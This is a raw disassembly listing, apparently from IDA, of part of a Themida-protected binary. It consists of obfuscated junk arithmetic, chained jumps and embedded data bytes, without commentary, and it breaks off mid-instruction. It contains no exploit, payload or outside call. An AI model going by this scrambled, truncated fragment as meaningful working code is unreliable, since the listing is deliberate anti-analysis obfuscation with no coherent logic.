--------------------------------------------------------------------------- loc_5A69F3: ; CODE XREF: Themida_:0059D653j mov [esp], esi jmp loc_5A205D ; --------------------------------------------------------------------------- byte_5A69FB db 66h ; DATA XREF: Themida_:005987B0o dd 0E9240C8Bh, 0FFFFF6D9h ; --------------------------------------------------------------------------- loc_5A6A04: ; CODE XREF: Themida_:0059C1E2j push ebp jmp loc_5A576A ; --------------------------------------------------------------------------- loc_5A6A0A: ; CODE XREF: Themida_:0059C138j mov ecx, 640E47F2h not ecx or ecx, 0DC036E5h jnb loc_59C7D3 and ecx, 0BA5305Dh mov esi, ecx mov ch, al loc_5A6A27: ; CODE XREF: Themida_:005A3CC7j add edx, 3E454F5h add edx, eax sub edx, 3E454F5h add edx, 5A746C19h mov eax, [esp] add esp, 4 add edx, 4 push 3007h mov [esp], edx jmp loc_5AC864 ; --------------------------------------------------------------------------- loc_5A6A54: ; CODE XREF: Themida_:005A7876j mov eax, 0D3C53FEh add edi, eax pop eax pop ebx jmp loc_5A77B1 ; --------------------------------------------------------------------------- word_5A6A62 dw 8B66h ; DATA XREF: Themida_:00598748o dd 0E9552404h, 0FFFFD67Bh ; --------------------------------------------------------------------------- loc_5A6A6C: ; CODE XREF: Themida_:005A9F15j xchg edx, [esp] jmp loc_5A57E2 ; --------------------------------------------------------------------------- dd 0E9C3895Bh, 0FFFF8CB5h ; --------------------------------------------------------------------------- loc_5A6A7C: ; CODE XREF: Themida_:005AB4D5j ; Themida_:005AC04Aj push 4B22h mov [esp], ebp mov ebp, ebx jmp loc_599DF7 ; --------------------------------------------------------------------------- loc_5A6A8B: ; CODE XREF: Themida_:005A1C06j mov [esp], esi mov esi, 77AE7E3Dh jmp loc_598BD9 ; --------------------------------------------------------------------------- loc_5A6A98: ; CODE XREF: Themida_:loc_59BF00j xor edx, 26F662E8h sub edx, 0E75A2484h push ebp mov ebp, edx mov ebx, ebp jmp loc_5A1943 ; --------------------------------------------------------------------------- loc_5A6AAE: ; CODE XREF: Themida_:005A47B1j push ecx push dword ptr [esp] pop edx add esp, 4 pop ecx push ecx jmp loc_5A5252 ; --------------------------------------------------------------------------- loc_5A6AC0: ; CODE XREF: Themida_:005ABC94j push eax mov eax, 2E23690Ch shl eax, 8 jnp loc_59F2FF sub eax, 0C85A3Bh jz loc_5AD65B shr eax, 4 add eax, 54140BB8h inc eax jl loc_5A30FF push edi mov edi, 0D9F9135Bh jmp loc_5A4C75 ; --------------------------------------------------------------------------- loc_5A6AF4: ; CODE XREF: Themida_:005A7B9Fj mov edi, [esp] add esp, 4 push 0 sub [esp], eax mov eax, [esp] add esp, 4 or eax, 6A0F32A5h dec eax not eax jmp loc_5A577D ; --------------------------------------------------------------------------- loc_5A6B15: ; CODE XREF: Themida_:005A55CFj push eax push ebx jmp loc_5A6BFA ; --------------------------------------------------------------------------- loc_5A6B1C: ; CODE XREF: Themida_:0059CE2Fj and eax, ebp jmp loc_5A6852 ; --------------------------------------------------------------------------- db 89h dd 74FF2404h, 48B0424h, 4C48124h, 8F000000h, 8AE92404h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A6B3B: ; CODE XREF: Themida_:005AAC3Ej mov eax, esp add eax, 4 add eax, 4 jmp loc_59EDDE ; --------------------------------------------------------------------------- loc_5A6B4A: ; CODE XREF: Themida_:0059CA9Bj add eax, 4 xchg eax, [esp] jmp loc_5ACE83 ; --------------------------------------------------------------------------- db 59h, 0E9h, 84h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6B5B: ; CODE XREF: Themida_:005A5A40j xor esi, 1C2DD62Ch add ecx, esi pop esi sub esi, ecx pop ecx sub ebp, esi pop esi sub esi, 4443412Bh add esi, ebp add esi, 4443412Bh mov ebp, [esp] add esp, 4 add esi, 4 jmp loc_5ACFEB ; --------------------------------------------------------------------------- db 87h, 4, 24h aLSle db '▀$$ИLE',0 align 4 dd 0FD3761BBh, 5BDF2915h, 0FFF7ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6BA1: ; CODE XREF: Themida_:0059D21Fj add esp, 4 add edi, edx push ebp jmp loc_5A98CE ; --------------------------------------------------------------------------- db 58h dd 0FFA839E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6BB5: ; CODE XREF: Themida_:005A6E42j push dword ptr [esp] mov edx, [esp] push ecx jmp loc_59C499 ; --------------------------------------------------------------------------- loc_5A6BC1: ; CODE XREF: Themida_:005AC301j pop esp add ebx, 2 xor ebx, [esp] jmp loc_5A24EB ; --------------------------------------------------------------------------- loc_5A6BCD: ; CODE XREF: Themida_:005AA347j pop eax add ebp, 7CC86C23h shl ebp, 4 jmp loc_5A8F0C ; --------------------------------------------------------------------------- loc_5A6BDC: ; CODE XREF: Themida_:005A4EC9j ; Themida_:005A5181j jmp loc_5AEECD ; --------------------------------------------------------------------------- loc_5A6BE1: ; CODE XREF: Themida_:0059F8CBj sub bl, al pop eax push ecx mov cl, 7Fh push edx mov dl, 8Bh sub dl, 78h not dl sub dl, 0DDh add dl, 6 jmp loc_59F89E ; --------------------------------------------------------------------------- loc_5A6BFA: ; CODE XREF: Themida_:005A6B17j mov ebx, 5FFC6A8Bh add ebx, 0A0039579h mov eax, ebx pop ebx add edi, eax pop eax xchg edi, [esp] mov esp, [esp] mov esi, [esp] sub esp, 4 mov [esp], ecx jmp loc_59E44B ; --------------------------------------------------------------------------- loc_5A6C1F: ; CODE XREF: Themida_:00598DA1j neg eax jp loc_5AE535 push 45F6h mov [esp], edx push ebp mov ch, bl mov bh, 0C7h loc_5A6C34: ; CODE XREF: Themida_:005A4C5Bj shr edi, 1 not edi push ebp mov ebp, 9B60971h not ebp inc ebp or ebp, 1AFA33C7h sub ebp, 0DF708685h xor edi, ebp jmp loc_5A3590 ; --------------------------------------------------------------------------- loc_5A6C54: ; CODE XREF: Themida_:005A7C15j add dword ptr [esp], 4 pop edi jmp loc_5AAEEE ; --------------------------------------------------------------------------- loc_5A6C5E: ; CODE XREF: Themida_:005ABFBAj xor eax, edx push dword ptr [esp] pop edx push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_59CD89 ; --------------------------------------------------------------------------- dword_5A6C74 dd 0E9028F66h, 0FFFF1D27h; --------------------------------------------------------------------------- loc_5A6C7C: ; CODE XREF: Themida_:005A4874j sub esi, 77FC08A7h pop ebp xor esi, [esp] xor [esp], esi jmp loc_5A4550 ; --------------------------------------------------------------------------- dw 0E980h dd 0E0A7E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6C96: ; CODE XREF: Themida_:005AF038j mov ebx, edx pop edx mov edi, ebx jmp loc_59B121 ; --------------------------------------------------------------------------- dd 0E35D3BBAh, 5CEA810Bh, 815A0A44h, 0D8230DC2h, 5AD101BFh dd 0BE56D1F7h, 0C9D84514h, 896BE9h, 81E92900h, 6D6930E9h dd 0BB535D12h, 5F9517D7h, 8245C01h, 244C015Bh, 246C8104h dd 9517D704h, 240C8B5Fh, 8F04C483h, 4832404h, 0B0E90424h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6CF3: ; CODE XREF: Themida_:005AFC3Fj mov ebp, 4E976F68h jmp loc_5A2790 ; --------------------------------------------------------------------------- db 5Ah, 8Fh, 4 dd 24D35C24h, 98E99C24h, 35FFFF1Ch, 37F426AFh, 0CE89880Fh dd 0D0F7FFFFh, 0F05E8C1h, 0FFE4C184h, 56A3E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A6D26: ; CODE XREF: Themida_:005A229Fj xor ecx, 0CB4AF8DCh or ebp, ecx jmp loc_5A64D7 ; --------------------------------------------------------------------------- loc_5A6D33: ; CODE XREF: Themida_:005AF598j push dword ptr [esp] jmp loc_5A8BA9 ; --------------------------------------------------------------------------- loc_5A6D3B: ; CODE XREF: Themida_:005AD384j sub edi, 5BFE35E0h add edi, ebp jmp loc_5A45C2 ; --------------------------------------------------------------------------- loc_5A6D48: ; CODE XREF: Themida_:005A88F6j add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_59AD80 ; --------------------------------------------------------------------------- loc_5A6D62: ; CODE XREF: Themida_:005A14FAj mov [esp], ebx mov bl, 8 push small 2A07h mov [esp], dx push 4E5h mov [esp], ecx jmp loc_5A126A ; --------------------------------------------------------------------------- loc_5A6D7C: ; CODE XREF: Themida_:005AE0E2j pop eax add eax, 4 jmp loc_599A05 ; --------------------------------------------------------------------------- loc_5A6D87: ; CODE XREF: Themida_:0059E536j mov edx, 4 jmp loc_5992E1 ; --------------------------------------------------------------------------- loc_5A6D91: ; CODE XREF: Themida_:005A9F45j add esp, 4 push 6AA0h mov [esp], ebp push esp mov ebp, [esp] jmp loc_59BB5C ; --------------------------------------------------------------------------- loc_5A6DA5: ; CODE XREF: Themida_:005AF056j add al, 56h pop ebx push 209Ah mov [esp], ecx push ebx mov bl, 77h dec bl push ecx mov cl, 0C8h add cl, 0DFh sub bl, cl jmp loc_5AAB69 ; --------------------------------------------------------------------------- dw 2805h dd 890B3715h, 0F00158C6h, 381A355Eh, 0BD5522EBh, 0FD151533h dd 0E95DE801h, 0FFFF669Ah ; --------------------------------------------------------------------------- loc_5A6DE0: ; CODE XREF: Themida_:0059FCC3j xchg ebx, [esp] jmp loc_5A3DB9 ; --------------------------------------------------------------------------- loc_5A6DE8: ; CODE XREF: Themida_:005AF0DEj sub eax, 8CA1CA5h sub eax, ebp add eax, 8CA1CA5h sub eax, 46ED1A0Ah push edx jmp loc_59B296 ; --------------------------------------------------------------------------- loc_5A6DFF: ; CODE XREF: Themida_:0059F546j pop ebx pop eax sub al, 8Ch sub al, dl add al, 8Ch mov dx, [esp] jmp loc_59D26A ; --------------------------------------------------------------------------- loc_5A6E10: ; CODE XREF: Themida_:005A5DC4j mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, 45EB5901h shr ecx, 7 jns loc_5A47AB add ecx, 0FF742950h jmp loc_59F10B ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h ; --------------------------------------------------------------------------- loc_5A6E38: ; CODE XREF: Themida_:005AF926j pop ecx sub edx, ecx pop ecx mov dword ptr [edx], 0 jmp loc_5A6BB5 ; --------------------------------------------------------------------------- loc_5A6E47: ; CODE XREF: Themida_:005AEBD9j push 3035h mov [esp], ebx mov ebx, 4 sub ecx, 0E126966h add ecx, ebx push edi mov edi, 25316A7Dh jmp loc_59FAA8 ; --------------------------------------------------------------------------- loc_5A6E67: ; CODE XREF: Themida_:0059BB74j ; Themida_:0059D031j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_59D48D ; --------------------------------------------------------------------------- loc_5A6E75: ; CODE XREF: Themida_:005AE21Bj mov ecx, 2 jmp loc_5A2BAD ; --------------------------------------------------------------------------- db 29h dd 14335DEAh, 24143124h, 5C241433h, 53243489h, 2BBh, 5BDE8900h dd 779FBB53h, 0DF290501h, 81F7015Bh, 1779FC7h, 2434FF05h dd 8124348Bh, 4C4h, 0E7895700h, 4C781h, 0C7830000h, 2168E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6EC6: ; CODE XREF: Themida_:005AD4C6j push ecx mov cl, 0A5h jmp loc_5A2ADC ; --------------------------------------------------------------------------- loc_5A6ECE: ; CODE XREF: Themida_:005A571Aj sub ecx, 4CCE070Ch push 2 mov [esp], ecx xor dword ptr [esp], 6E482D66h push dword ptr [esp] pop esi jmp loc_59DFFE ; --------------------------------------------------------------------------- aVsB db 'VИсB',0 align 2 loc_5A6EF2: ; CODE XREF: Themida_:0059E590j xchg ebp, [esp] pop esp jmp loc_5A0439 ; --------------------------------------------------------------------------- loc_5A6EFB: ; CODE XREF: Themida_:0059DD70j add esp, 4 add ebx, 14771A77h add ebx, 12E5514Eh jmp loc_5A3128 ; --------------------------------------------------------------------------- loc_5A6F0F: ; CODE XREF: Themida_:005ABA0Ej xor eax, ecx push ebp mov ebp, esp add ebp, 4 jmp loc_59E58D ; --------------------------------------------------------------------------- loc_5A6F1F: ; CODE XREF: Themida_:0059D104j sub ebp, 6FFFBFA7h push ebp sub dword ptr [esp], 0EB50E4h jmp loc_59AEF2 ; --------------------------------------------------------------------------- word_5A6F32 dw 34FFh ; DATA XREF: Themida_:005987D4o dd 2434FF24h, 4C48358h, 570AE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6F42: ; CODE XREF: Themida_:005A8BE5j add ebx, 662674F9h xor ebx, 0E1DB7EFDh push ebx jmp loc_5AF6E3 ; --------------------------------------------------------------------------- loc_5A6F54: ; CODE XREF: Themida_:005AA2C5j push ebp push 10000h pop ebp and eax, ebp push dword ptr [esp] pop ebp jmp loc_5AD95D ; --------------------------------------------------------------------------- loc_5A6F66: ; CODE XREF: Themida_:005ABCA9j jmp loc_5A2147 ; --------------------------------------------------------------------------- loc_5A6F6B: ; CODE XREF: Themida_:0059DF63j push 1C06h mov [esp], esi push edx mov edx, 381B0598h sub edx, 20948FAAh shr edx, 8 jmp loc_59C2FC ; --------------------------------------------------------------------------- loc_5A6F87: ; CODE XREF: Themida_:005A033Fj add eax, edx jmp loc_59EAD2 ; --------------------------------------------------------------------------- loc_5A6F8E: ; CODE XREF: Themida_:0059BA59j shr eax, 5 push edi jmp loc_5A9A6E ; --------------------------------------------------------------------------- loc_5A6F97: ; CODE XREF: Themida_:005AAA10j mov ecx, 4 sub dword ptr [esp+4], 4F413D9Eh add [esp+4], ecx add dword ptr [esp+4], 4F413D9Eh mov ecx, [esp] add esp, 4 pop ecx add ecx, 4 sub esp, 4 jmp loc_5A1B95 ; --------------------------------------------------------------------------- loc_5A6FC8: ; CODE XREF: Themida_:005AF366j add ebx, 3B5B5C97h jmp loc_5A9A0B ; --------------------------------------------------------------------------- loc_5A6FD3: ; CODE XREF: Themida_:loc_5AEED4j and ebp, 3EF015ADh jg loc_5AAD25 sub ebp, 0BC0DFA67h or ebp, 94D415Bh mov dh, al pop ebx loc_5A6FEE: ; CODE XREF: Themida_:005A965Ej sub eax, 70D81638h mov ebp, [esp] jmp loc_5AADCD ; --------------------------------------------------------------------------- loc_5A6FFB: ; CODE XREF: Themida_:0059DEFDj push 7CD2h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push ebx push eax mov eax, 67F47844h push edx mov edx, 0A9F70109h mov ebx, edx pop edx add ebx, eax pop eax or ebx, 9587CD0h xor ebx, 19FB7DD9h add esi, ebx jmp loc_59EAEE ; --------------------------------------------------------------------------- dd 8158C501h, 0AD6324EDh, 39E9555Fh db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7043: ; CODE XREF: Themida_:005A73C9j pop ebp pop ebp xor ebx, [esp] xor [esp], ebx jmp loc_59D78E ; --------------------------------------------------------------------------- loc_5A7050: ; CODE XREF: Themida_:005AEE23j add dh, 68h pop ecx sub bl, dh pop edx push eax mov ah, bl mov ch, ah pop eax jmp loc_5A9CBC ; --------------------------------------------------------------------------- loc_5A7062: ; CODE XREF: Themida_:00598F07j ; Themida_:005A3064j push ebx jmp loc_5AD90C ; --------------------------------------------------------------------------- dd 54E95752h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A706F: ; CODE XREF: Themida_:005AEBBFj sub ecx, 35736CDBh or ecx, 33841DC9h add ecx, 5B0D6DA4h add eax, 7D9D2B89h add eax, 13986426h sub eax, ecx sub eax, 13986426h sub eax, 7D9D2B89h pop ecx push ebx jmp loc_5AF0AF ; --------------------------------------------------------------------------- loc_5A709E: ; CODE XREF: Themida_:005A61B4j not ecx push edi jmp loc_5A9AAC ; --------------------------------------------------------------------------- loc_5A70A6: ; CODE XREF: Themida_:005AFB70j mov dh, ch jmp loc_5AC489 ; --------------------------------------------------------------------------- loc_5A70AD: ; CODE XREF: Themida_:005993A3j sub al, cl pop cx sub bl, al mov eax, [esp] add esp, 4 push 1DC2h mov [esp], edx push ecx jmp loc_5A65D3 ; --------------------------------------------------------------------------- loc_5A70C7: ; CODE XREF: Themida_:loc_59FA4Aj not ebp and ebp, 702421ABh jmp loc_59F969 ; --------------------------------------------------------------------------- dd 0E0E3C281h, 5AE9B0B5h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A70DF: ; CODE XREF: Themida_:005A95C5j dec eax shl eax, 6 jmp loc_59DFA9 ; --------------------------------------------------------------------------- loc_5A70E8: ; CODE XREF: Themida_:005A293Cj push edx jmp loc_5AED5A ; --------------------------------------------------------------------------- loc_5A70EE: ; CODE XREF: Themida_:005A10DAj add esp, 4 sub eax, 6F210CF2h sub eax, 3DA24328h add eax, edi add eax, 3DA24328h add eax, 6F210CF2h mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi sub esp, 4 mov [esp], edx mov edx, 5B091D73h mov esi, edx mov edx, [esp] add esp, 4 add esi, 0FFFFFFFFh not esi inc esi jmp loc_59BCB6 ; --------------------------------------------------------------------------- loc_5A7139: ; CODE XREF: Themida_:005A643Cj ; Themida_:005ADE24j pop esp and edx, 64A41D1Fh push ebp push ebx mov ebx, 647E6679h sub ebx, 5DD329BFh jmp loc_5AA00F ; --------------------------------------------------------------------------- loc_5A7152: ; CODE XREF: Themida_:005A560Aj pop esp mov [esp], esi jmp loc_59DA72 ; --------------------------------------------------------------------------- loc_5A715B: ; CODE XREF: Themida_:005A7581j mov eax, ebx pop ebx xor eax, 4E347FA9h jns loc_5A08A8 jmp loc_59F0EE ; --------------------------------------------------------------------------- dw 0B3E9h dd 8AFFFF6Dh, 0C82858C6h, 66045966h, 662CD828h, 50535266h dd 0E6EE9h db 0 ; --------------------------------------------------------------------------- loc_5A7189: ; CODE XREF: Themida_:005A998Fj movzx ecx, al push 2052h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push 0C2Dh jmp loc_5AF7F7 ; --------------------------------------------------------------------------- loc_5A71AC: ; CODE XREF: Themida_:00599665j xor edx, [esp] mov esp, [esp] push 5C50h mov [esp], ecx push ebx jmp loc_5A59C0 ; --------------------------------------------------------------------------- loc_5A71C0: ; CODE XREF: Themida_:005A51DDj pop eax push ecx mov cl, 9Ch not cl or cl, 8Dh add cl, 0D2h jmp loc_5A54C8 ; --------------------------------------------------------------------------- loc_5A71D1: ; CODE XREF: Themida_:005AEBCBj mov eax, [esp] add esp, 4 jmp loc_59B41B ; --------------------------------------------------------------------------- loc_5A71DC: ; CODE XREF: Themida_:005ABC37j jmp loc_5989A3 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFFAD8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A71E9: ; CODE XREF: Themida_:005A41DAj dec cl jno loc_59E4E7 neg cl jns loc_5A7C8A inc cl jmp loc_5AF557 ; --------------------------------------------------------------------------- loc_5A7200: ; CODE XREF: Themida_:0059FA9Cj add esp, 4 xchg ebp, [esp] mov esp, [esp] push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5A5C5C ; --------------------------------------------------------------------------- loc_5A721D: ; CODE XREF: Themida_:005A9481j mov edx, ecx pop ecx dec edx add edx, 61F4E6A2h jmp loc_5AE73F ; --------------------------------------------------------------------------- loc_5A722C: ; CODE XREF: Themida_:0059BCDEj pop ebx jmp loc_5A0C1D ; --------------------------------------------------------------------------- loc_5A7232: ; CODE XREF: Themida_:005A5C8Bj add edx, edi push 1087h mov [esp], eax mov eax, 2831021Fh neg eax push 401Fh jmp loc_59BF8C ; --------------------------------------------------------------------------- loc_5A724D: ; CODE XREF: Themida_:0059ED27j sub ecx, 0A4C1C42h jmp loc_5A475F ; --------------------------------------------------------------------------- loc_5A7258: ; CODE XREF: Themida_:005A09E1j mov ch, al mov eax, [esp] push edx mov edx, esp jmp loc_5AD4B3 ; --------------------------------------------------------------------------- loc_5A7265: ; CODE XREF: Themida_:0059B85Aj push ecx mov ecx, esp jmp loc_5A658E ; --------------------------------------------------------------------------- loc_5A726D: ; CODE XREF: Themida_:0059BDF8j or eax, eax jnz loc_59DB9D push esi push 6BC77F23h mov esi, [esp] push ebp jmp loc_5A509D ; --------------------------------------------------------------------------- loc_5A7284: ; CODE XREF: Themida_:005A69A9j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59D285 ; --------------------------------------------------------------------------- loc_5A7295: ; CODE XREF: Themida_:005A4340j push esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp jmp loc_5A2C03 ; --------------------------------------------------------------------------- loc_5A72AF: ; CODE XREF: Themida_:005ADB5Fj add esp, 4 sub ebx, esi pop esi push dword ptr [esp] jmp loc_59A240 ; --------------------------------------------------------------------------- loc_5A72C0: ; CODE XREF: Themida_:005AB4EBj push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5A0CC2 ; --------------------------------------------------------------------------- loc_5A72D7: ; CODE XREF: Themida_:0059EBABj neg esi not esi push edx mov edx, 6F5D28EFh add esi, edx jmp loc_5ABFF0 ; --------------------------------------------------------------------------- loc_5A72E8: ; CODE XREF: Themida_:005A507Aj mov ch, 0A1h xor ch, ah mov eax, [esp] add esp, 4 push eax mov al, 0BCh inc al sub al, 1Dh jmp loc_599FD2 ; --------------------------------------------------------------------------- loc_5A72FE: ; CODE XREF: Themida_:005AC1D7j shl ebx, 3 add ebx, 0CE6A6F7Bh jmp loc_59BA7F ; --------------------------------------------------------------------------- loc_5A730C: ; CODE XREF: Themida_:00599702j ; Themida_:0059E751j pop edx jmp loc_5AC931 ; --------------------------------------------------------------------------- loc_5A7312: ; CODE XREF: Themida_:005AB060j mov esi, esp jmp loc_5A829D ; --------------------------------------------------------------------------- loc_5A7319: ; CODE XREF: Themida_:005A13FDj sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 44E770EBh mov ebx, ecx jmp loc_59EBA1 ; --------------------------------------------------------------------------- db 0BBh, 38h, 0 dd 0B3680000h, 89000004h, 65E9241Ch db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A734F: ; CODE XREF: Themida_:005AF8D6j mov [esp], eax mov eax, esi jmp loc_59B431 ; --------------------------------------------------------------------------- loc_5A7359: ; CODE XREF: Themida_:005A2BEBj dec ebx jp loc_5A0E02 add ebx, 362F79C6h mov edi, ebx pop ebx jmp loc_5ACDF7 ; --------------------------------------------------------------------------- dw 895Ah dd 4BD55E2h, 0E9000000h, 0FFFF59E4h ; --------------------------------------------------------------------------- loc_5A737C: ; CODE XREF: Themida_:005A8CE0j sub ebx, 5EA10964h push 7B8Dh mov [esp], esi mov esi, 2984165Bh jmp loc_5AD6F8 ; --------------------------------------------------------------------------- dd 0EC835759h, 24348904h, 0FB0DC0BEh, 4E6C10Fh, 2461BA52h dd 0D609734Dh, 0FF8B4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A73B1: ; CODE XREF: Themida_:0059C21Ej mov dl, bl push eax push ebx mov bl, dl mov ah, bl jmp loc_5AA04C ; --------------------------------------------------------------------------- loc_5A73BE: ; CODE XREF: Themida_:005A762Aj mov edi, [esp] add esp, 4 add ebx, ebp jmp loc_5A7043 ; --------------------------------------------------------------------------- loc_5A73CE: ; CODE XREF: Themida_:0059E3ECj add esi, 2942788Dh sub esi, 5D0740DEh push 5766h mov [esp], edx mov edx, 0CC6EEDCFh jmp loc_59ADEC ; --------------------------------------------------------------------------- dword_5A73EC dd 8B2434FFh, 0C483240Ch, 9C1BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A73FA: ; CODE XREF: Themida_:0059CFEDj push ebp push edi mov edi, 20EB552Bh mov ebp, edi pop edi sub ebp, 11426D74h add ebp, 65631F6Fh push edx mov edx, 21303F52h shl edx, 1 dec edx add edx, 0FC0335EFh jmp loc_5ACF8D ; --------------------------------------------------------------------------- dd 6475F781h, 0F9895206h, 540DE9h db 0 ; --------------------------------------------------------------------------- loc_5A7431: ; CODE XREF: Themida_:loc_5A5985j push ebx mov ebx, 343D51B1h shl ebx, 7 add ebx, 41DA3701h jmp loc_5A5C57 ; --------------------------------------------------------------------------- loc_5A7445: ; CODE XREF: Themida_:005AD3C9j pop dword ptr [esp] mov esp, [esp] mov [esp], esp push 0EAh jmp loc_5AFD80 ; --------------------------------------------------------------------------- loc_5A7458: ; CODE XREF: Themida_:005AE0D0j add edx, 0C92032E3h jmp loc_5A54EC ; --------------------------------------------------------------------------- loc_5A7463: ; CODE XREF: Themida_:005AA9CBj push esi mov esi, 2D2521EBh push ebp mov ebp, 2526775Bh add ebx, 214A5A67h jmp loc_5AF0A1 ; --------------------------------------------------------------------------- loc_5A747A: ; CODE XREF: Themida_:0059C35Fj xchg ecx, [esp] pop esp push 71A5h jmp loc_5A9965 ; --------------------------------------------------------------------------- dd 240C8B5Ah, 0FF04C483h, 56592434h, 0BA52E689h, 46200775h dd 0DAF7DAF7h, 0B30E281h, 7BE93E8Dh db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A74AB: ; CODE XREF: Themida_:00598BE8j add esi, 443A4088h add ecx, 254E24A6h add ecx, esi sub ecx, 254E24A6h pop esi pop ebx xchg ecx, [esp] jmp loc_5AE5F4 ; --------------------------------------------------------------------------- db 29h, 0CEh, 59h dd 39E9DE01h, 0C1FFFF68h, 0EB8102E3h, 57003B9Ch, 5FE9DBF7h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A74E3: ; CODE XREF: Themida_:005AD52Bj inc edx push ebx jmp loc_5AC513 ; --------------------------------------------------------------------------- loc_5A74EA: ; CODE XREF: Themida_:005AE5A9j pop esi add esi, 720D4C3Bh push eax jmp loc_5AA78E ; --------------------------------------------------------------------------- db 52h dd 22E9E289h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A74FF: ; CODE XREF: Themida_:005A8B7Cj shr ebp, 1 jz loc_5AA0F2 jmp loc_59D0FE ; --------------------------------------------------------------------------- loc_5A750C: ; CODE XREF: Themida_:005AF3A1j or ebx, 2B3D7309h jmp loc_59C6B2 ; --------------------------------------------------------------------------- byte_5A7517 db 0FFh ; DATA XREF: Themida_:005988D4o dd 669D1C77h, 241CD359h, 147DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7526: ; CODE XREF: Themida_:005A343Fj ; Themida_:005AFD04j pop edx sub esi, 46DA43BCh push esi not dword ptr [esp] pop esi and esi, 6FAE3E3Eh dec esi xor esi, 6AFC79CCh jmp loc_5ADD9E ; --------------------------------------------------------------------------- dword_5A7544 dd 8B2434FFh, 0C4832404h, 4EC8304h, 68242C89h, 466Dh, 81242489h ; DATA XREF: Themida_:005986DCo dd 42404h, 0E95D0000h, 4010h ; --------------------------------------------------------------------------- loc_5A7568: ; CODE XREF: Themida_:005A0794j mov [esp], ebx mov ebx, 2EFF46E5h mov esi, 0DC4BD921h jmp loc_5AE132 ; --------------------------------------------------------------------------- loc_5A757A: ; CODE XREF: Themida_:00599268j push eax push ebx mov ebx, 46044114h jmp loc_5A715B ; --------------------------------------------------------------------------- loc_5A7586: ; CODE XREF: Themida_:loc_5A4F7Aj add ecx, 70359D1Ch and edi, ecx jmp loc_59DF14 ; --------------------------------------------------------------------------- loc_5A7593: ; CODE XREF: Themida_:0059D01Dj push 2C4Fh mov [esp], ebx mov bh, 8Eh inc bh jmp loc_59E80A ; --------------------------------------------------------------------------- loc_5A75A4: ; CODE XREF: Themida_:005AEF3Ej sub ecx, 0B74A92D7h mov esi, ecx jmp loc_59B3F4 ; --------------------------------------------------------------------------- loc_5A75B1: ; CODE XREF: Themida_:005A0EE1j mov eax, esp jmp loc_5A02ED ; --------------------------------------------------------------------------- dd 53242C89h, 0A13037BBh, 2C815353h, 60113724h, 0F8E95D02h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A75CF: ; CODE XREF: Themida_:005AAB07j push ebx mov ebx, 0EBD7338h jmp loc_5AD905 ; --------------------------------------------------------------------------- dw 3CD3h dd 0C0E99C24h db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A75E3: ; CODE XREF: Themida_:0059EE90j sub ebx, 4FD109E2h jmp loc_5A9D82 ; --------------------------------------------------------------------------- loc_5A75EE: ; CODE XREF: Themida_:00598A38j add esi, eax pop eax mov ecx, [esp] jmp loc_59CE4E ; --------------------------------------------------------------------------- db 0D1h, 0EFh, 0Fh dd 0FFE15E85h, 0D7CF81FFh, 0E9152627h, 23FFh db 83h, 0ECh, 4 ; --------------------------------------------------------------------------- loc_5A760F: ; CODE XREF: Themida_:005A27BDj mov esp, [esp] cmp ecx, eax pushf jmp loc_5AE058 ; --------------------------------------------------------------------------- loc_5A761A: ; CODE XREF: Themida_:005AE8EEj push 23FFh push esp pop dword ptr [esp] jmp loc_598B23 ; --------------------------------------------------------------------------- loc_5A7628: ; CODE XREF: Themida_:005A68C3j mov ebp, edi jmp loc_5A73BE ; --------------------------------------------------------------------------- loc_5A762F: ; CODE XREF: Themida_:00598E04j push edx mov edx, 577F3EF0h not edx sub edx, 74B15EE2h mov ebp, edx jmp loc_5AD26B ; --------------------------------------------------------------------------- loc_5A7644: ; CODE XREF: Themida_:005A7CF6j mov ecx, 3CA029B4h jmp loc_5A82E2 ; --------------------------------------------------------------------------- loc_5A764E: ; CODE XREF: Themida_:005A5613j jmp loc_5AF79E ; --------------------------------------------------------------------------- loc_5A7653: ; CODE XREF: Themida_:005AB3DFj sub esp, 4 mov [esp], esi jmp loc_5A95EA ; --------------------------------------------------------------------------- loc_5A765E: ; CODE XREF: Themida_:005A8454j push dword ptr [esp] jmp 